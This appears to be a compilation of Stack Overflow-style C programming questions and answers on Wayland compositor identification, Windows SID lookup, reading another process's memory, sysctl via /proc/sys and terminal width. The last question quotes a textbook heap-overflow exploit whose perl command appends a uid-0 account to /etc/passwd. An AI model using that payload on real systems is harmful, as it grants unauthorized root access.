Is it possible for a c application using libwayland-client.so to get the name of the compositor / display server it opened a connection to (e.g. KWin, Sway, ...)? I fail to find it in the docs.
For reference, in X11 this is possible using XProps specified by EWMH: _NET_SUPPORTING_WM_CHECK to get the window id of the window manager and then using _NET_WM_NAME.
Im fine with anything giving me a way to identify it, for example a pretty name, the process name, the pid or similar.
Current solution is to detect which socket file wayland will be using (${XDG_RUNTIME_DIR}/${WAYLAND_DISPLAY:-wayland-0}), detecting which process are listening on it and picking the one which is most probably the compositor (similar to what neofetch does in bash). But since i need to open a connection anyway, and this method is very bug prone, i think you can see why i want to have a cleaner solution.
Requirements:
determine the PID of the peer compositor process for a display connection on the client side
must run under Linux
optionally determines the process name
Since this is not directly supported by the API, you can
get the file descriptor of the display context (wl_display_get_fd)
use the file descriptor to read the associated PID of the peer process (getsockopt with the SO_PEERCRED option, see e.g. this nice SO answer)
finally, you can get the process name by reading /proc/<pid>/comm.
You could also retrieve the process command line if you need more information.
However, the output of the following test program would look like this under Ubuntu 22.04 LTS:
pid: 1733, process name: gnome-shell
Self-contained Example in C
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wayland-client.h>
#include <sys/socket.h>
#include <errno.h>
#define PROCESS_NAME_MAX_LENGTH 1024
static pid_t pid_from_fd(int fd) {
struct ucred ucred;
socklen_t len = sizeof(struct ucred);
if (getsockopt(fd, SOL_SOCKET, SO_PEERCRED, &ucred, &len) == -1) {
perror("getsockopt failed");
exit(-1);
}
return ucred.pid;
}
static char *process_name_from_pid(const pid_t pid) {
char *name = malloc(PROCESS_NAME_MAX_LENGTH);
if (!name) {
perror("malloc failed");
exit(-1);
}
char proc_buf[64];
sprintf(proc_buf, "/proc/%d/comm", pid);
FILE *fp;
if ((fp = fopen(proc_buf, "r")) == NULL) {
fprintf(stderr, "opening '%s' failed: %s\n", proc_buf, strerror(errno));
exit(-1);
}
if (fgets(name, PROCESS_NAME_MAX_LENGTH, fp) == NULL) {
fprintf(stderr, "reading '%s' failed\n", proc_buf);
exit(-1);
}
name[strcspn(name, "\n")] = 0;
fclose(fp);
return name;
}
int main(void) {
struct wl_display *display = wl_display_connect(NULL);
if (display == NULL) {
fprintf(stderr, "can't connect to display\n");
exit(-1);
}
int fd = wl_display_get_fd(display);
pid_t pid = pid_from_fd(fd);
char *process_name = process_name_from_pid(pid);
printf("pid: %d, process name: %s\n", pid, process_name);
free(process_name);
wl_display_disconnect(display);
return 0;
}
Related
I'm trying to retrieve the information from a share using the C Windows API. For compilation I'm using the MINGW64 flavor of MSYS2 (https://www.msys2.org/docs/environments/). But I'm having problems when I try to convert the SIDs in the security descriptor to plain text names. This is a simplified version of my code:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <lm.h>
#include <ntstatus.h>
#include <ntsecapi.h>
int main(int argc, char **argv) {
NET_API_STATUS res1;
NTSTATUS res2;
// Get info from share
SHARE_INFO_502 *info;
res1 = NetShareGetInfo(L"domain.tld", L"test", 502, (LPBYTE *)&info);
if (res1 != 0) {
fprintf(stderr,
"NetShareGetInfo failed with error %d\n",
res1);
exit(EXIT_FAILURE);
}
// Validate security descriptor
SECURITY_DESCRIPTOR *sd = info->shi502_security_descriptor;
if (IsValidSecurityDescriptor(sd) == 0) {
fprintf(stderr, "Security descriptor is not valid\n");
exit(EXIT_FAILURE);
}
// Open policy handle
LSA_HANDLE polHandle;
LSA_OBJECT_ATTRIBUTES polAttrs;
memset(&polAttrs, '\0', sizeof(polAttrs)); // must be zero according to docs
res2 = LsaOpenPolicy(NULL, &polAttrs, POLICY_EXECUTE, &polHandle);
if (res2 != STATUS_SUCCESS) {
fprintf(stderr,
"LsaOpenPolicy failed with error %d (converted from %lX)\n",
LsaNtStatusToWinError(res2), res2);
exit(EXIT_FAILURE);
}
// Translate owner SID
LSA_TRANSLATED_NAME *names;
LSA_REFERENCED_DOMAIN_LIST *domains;
res2 = LsaLookupSids2(polHandle, 0, 1, &sd->Owner, &domains, &names);
if (res2 != STATUS_SUCCESS) {
fprintf(stderr,
"LsaLookupSids2 failed with error %d (converted from %lX)\n",
LsaNtStatusToWinError(res2), res2);
exit(EXIT_FAILURE);
}
// do something here with names and domains
LsaFreeMemory(names);
LsaFreeMemory(domains);
return 0;
}
I then compile it and execute it:
C:\Users\myname\Desktop\c-tests\sdproblem>main.exe
LsaLookupSids2 failed with error 87 (converted from C000000D)
Error 87 means "The parameter is incorrect". It seems I'm not passing the arguments correctly to the LsaLookupSids2 function. But I'm not able to see what I'm doing wrong. I've tried passing some flags in the second argument instead of 0 to no avail. I've also tried to use LsaLookupSids (and remove the second argument) but still no luck. The share exists and the permissions can be retrieved by icacls:
C:\Users\myname\Desktop\c-tests\sdproblem>icacls \\domain.tld\test
\\domain.tld\test Everyone:(OI)(CI)(F)
Can someone help me with this issue?
I am working on Debian GNU/Hurd with Mach. I have been asked to write a program that, given a PID and an address, executes vm_read over the address and prints the result.
This is the code I have written:
#include <mach_error.h>
#include <mach/mig_errors.h>
#include <mach/thread_status.h>
#include <mach/processor_info.h>
#include <mach/i386/vm_param.h>
#include <stdio.h>
#include <stdlib.h>
#include <hurd.h>
#include <string.h>
int main(int argc, char * argv[]) {
if(argc != 3) {
printf ("Wrong arguments: ./vm_read PID address\n");
exit(1);
}
int res;
mach_port_t target_task = pid2task(atoi(argv[1]));
vm_address_t addr = atoi(argv[2]);
vm_offset_t *data;
mach_msg_type_number_t data_count;
res = vm_read (target_task, addr, sizeof(int), &data, &data_count);
if (res != KERN_SUCCESS) {
printf ("Error reading virtual mem (0x%x), %s \n", res,
mach_error_string(res));
exit(1);
}
printf("done\n");
for (int i=0; i<data_count; ++i){
printf("byte %d : %x\n",i,((char*)data)[i]);
}
}
It works correctly, but now I'm asked if it is possible to write a version for Unix/Linux and another for Windows that do the same thing.
I've been searching and it looks like it shouldn't be any problem because both use virtual memory in their procceses, but I'm not sure if there could be complications with permissions or anything else.
For Windows, if you need to read memory from a process, you'll need to request the PROCESS_VM_READ when you get your handle to the process (ReadProcessMemory is the appropriate call). In order to get that Handle, it's usually easier to start the process yourself with OpenProcess.
There's no standard way to access the memory of another process on UNIX, but on Linux, you can do it by reading the special file /proc/pid/mem:
char memfile[32];
snprintf(memfile, sizeof(memfile), "/proc/%s/mem", argv[1]);
int mfd = open(memfile, O_RDONLY);
if (mfd < 0) {
perror("Can't open pid/mem file");
exit(1); }
if (lseek(mfd, (off_t)strtoull(argv[2], 0, 0), SEEK_SET) {
perror("Can't seek to address");
exit(1); }
if (read(mfd, &data, sizeof(data)) <= 0) {
fprintf(stderr, "No data at address %s\n", argv[2]);
exit(1); }
I've read some of the warnings against using the sysctl() call in C, and it seems if I cannot use sysctl() safely, the only other way I can find to make the needed change would be to use soemething like:
system("echo fs.inotify.max_user_watches=NEW_MAX_DIRECTORIES >> /etc/sysctl.conf");
system("sysctl -p");
(of course, this assumes ensuring the binary is running as root. However, I would rather NOT have to shell out using system calls.
Can someone point me in the correct and safe of using sysctl()?
here is a snippet of the code I am using.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>
int main ()
{
int ret;
const char *LOGNAME="iNotifyMonitor";
logger(INFO, "================================================");
ret = startDaemon();
daemonRunning = ret;
if (ret == 0)
{
daemonRunning = 1;
FIRST_RUN = 0;
}
if(ret)
{
syslog(LOG_USER | LOG_ERR, "Error starting iNotifyMonitor");
logger(ERR, "Unable to start iNotifyMonitor");
closelog();
return EXIT_FAILURE;
}
signal(SIGINT, signalHandler);
signal(SIGHUP, signalHandler);
char *log_file_name = malloc(sizeof(char *) * sizeof(char *));
sprintf(log_file_name, "%s%s", INM_LOG_DIR, INM_LOG_FILE);
/* Try to open log file to this daemon */
if (INM_OPEN_LOG && INM_LOG_FILE)
{
log_stream = fopen(concatString(INM_LOG_DIR, INM_LOG_FILE), "a+");
if (log_stream == NULL)
{
char *errMsg;
sprintf(errMsg, "Cannot open log file %s, error: %s", concatString(INM_LOG_DIR, INM_LOG_FILE), strerror(errno));
log_stream = stdout;
}
}
else
{
log_stream = stdout;
}
while (daemonRunning == 1)
{
if (ret < 0)
{
logger(LOG_ERR, "Can not write to log stream: %s, error: %s", (log_stream == stdout) ? "stdout" : log_file_name, strerror(errno));
break;
}
ret = fflush(log_stream);
if (ret != 0)
{
logger(LOG_ERR, "Can not fflush() log stream: %s, error: %s",
(log_stream == stdout) ? "stdout" : log_file_name, strerror(errno));
break;
}
int curcount =countDirectory("/home/darrinw/Development/CrossRoads/");
directoryCount = curcount;
if(directoryCounrt > INM_MAX_DIRECTORIES)
{
int newVal = roundUp(directoryCount, 32768);
// call to sysctl() to modify fs.inotify.max_users_watches=newVal
}
sleep(INM_SCAN_INTERVAL);
}
My understanding is that the modern recommended approach to access sysctl variables is via the pseudo-files in /proc/sys. So just open /proc/sys/fs/inotify/max_user_watches and write there.
int fd = open("/proc/sys/fs/inotify/max_user_watches", O_WRONLY);
dprintf(fd, "%d", NEW_MAX_DIRECTORIES);
close(fd);
Error checking left as an exercise.
Modifying /etc/sysctl.conf would make the setting persist across reboots (assuming your distribution uses the file this way, I am not sure if all of them do). That's kind of rude to do automatically; probably better to use the documentation to advise the system administrator to do it themselves if it's needed.
I'm trying to retrieve the width of the terminal using ioctl(), but it doesn't work when piping or redirecting to stdin.
I've managed to circumvent the issue by parsing the result of tput cols, but it feels dirty to use an external command. Also, I assume this makes it less portable as Windows doesn't use a bourne-compatible shell?
main.c
// tput method
char res[10];
FILE cmd = popen("tput cols", "r");
fgets(res, 10 - 1, cmd);
pclose(cmd);
unsigned short term_cols = atoi(res);
printf("Term width (tput): %d\n", term_cols);
// ioctl method
struct winsize ws;
if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0)
{
printf("Term width (ioctl): %d\n", ws.ws_col);
}
else
{
printf("Failed to retrieve term width from ioctl()");
}
output
$ bin/main
Term width (tput): 84
Term width (ioctl): 84
$ echo "test" | bin/main
Term width (tput): 84
Failed to retrieve term width from ioctl()
I've tried to fflush(stdin); at the start of my code but it doesn't make any difference. Is this just a limitation of ioctl() or is there a way around it?
You're probably printing the value of an uninitialized variable. Your code doesn't check whether ioctl succeeds and if it fails, it leaves ws untouched.
Fix:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
...
if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == -1) {
fprintf(stderr, "can't get the window size of stdin: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
When you pipe something into your program, stdin doesn't refer to a terminal but a pipe. Pipes don't have a window size. That's why TIOCGWINSZ fails here.
The portable solution seems to be:
const char *term = ctermid(NULL);
if (!term[0]) {
fprintf(stderr, "can't get the name of my controlling terminal\n");
exit(EXIT_FAILURE);
}
int fd = open(term, O_RDONLY);
if (fd == -1) {
fprintf(stderr, "can't open my terminal at %s: %s\n", term, strerror(errno));
exit(EXIT_FAILURE);
}
if (ioctl(fd, TIOCGWINSZ, &ws) == -1) {
fprintf(stderr, "can't get the window size of %s: %s\n", term, strerror(errno));
exit(EXIT_FAILURE);
}
close(fd);
This problem deals with an exploit on page 155 of the book Hacking: The art of exploitation. Here, the Notetaker program is used to append an entry with root privileges onto the /etc/passwd file.
The code for Notetaker.c goes like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"
void usage(char *prog_name, char *filename) {
printf("Usage: %s <data to add to %s>\n", prog_name, filename);
exit(0);
}
void fatal(char *); // a function for fatal errors
void *ec_malloc(unsigned int); // an errorchecked malloc() wrapper
int main(int argc, char *argv[]) {
int userid, fd; // file descriptor
char *buffer, *datafile;
buffer = (char *) ec_malloc(100);
datafile = (char *) ec_malloc(20);
strcpy(datafile, "/var/notes");
if(argc < 2) // If there aren't commandline arguments
usage(argv[0], datafile); // display usage message and exit
strcpy(buffer, argv[1]); // copy into buffer
printf("[DEBUG] buffer # %p: \'%s\'\n", buffer, buffer);
printf("[DEBUG] datafile # %p: \'%s\'\n", datafile, datafile);
// Opening the file
fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if(fd == -1)
fatal("in main() while opening file");
printf("[DEBUG] file descriptor is %d\n", fd);
userid = getuid(); // get the real user ID
// Writing data
if(write(fd, &userid, 4) == -1) // write user ID before note data
fatal("in main() while writing userid to file");
write(fd, "\n", 1); // terminate line
if(write(fd, buffer, strlen(buffer)) == -1) // write note
fatal("in main() while writing buffer to file");
write(fd, "\n", 1); // terminate line
// Closing file
if(close(fd) == -1)
fatal("in main() while closing file");
printf("Note has been saved.\n");
free(buffer);
free(datafile);
}
A soft link is created to /bin/bash thru /tmp/etc/passwd
"password" is given as a default password with salt XX--XXq2wKiyI43A2
And User ID is given as 0- to get root privileges.
The exploit goes as below:
$ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 .
":/root:/tmp/etc/passwd"')
When I try this, all I get is a fatal error while opening the file saying permission is denied.
It seems to work just fine in the book since $tail /etc/passwd shows the new entry thru this exploit which gives a root access.
Pls help.
You need to read chapter two. It shows you changing the owner to root via chown and chmod u+s. page 93.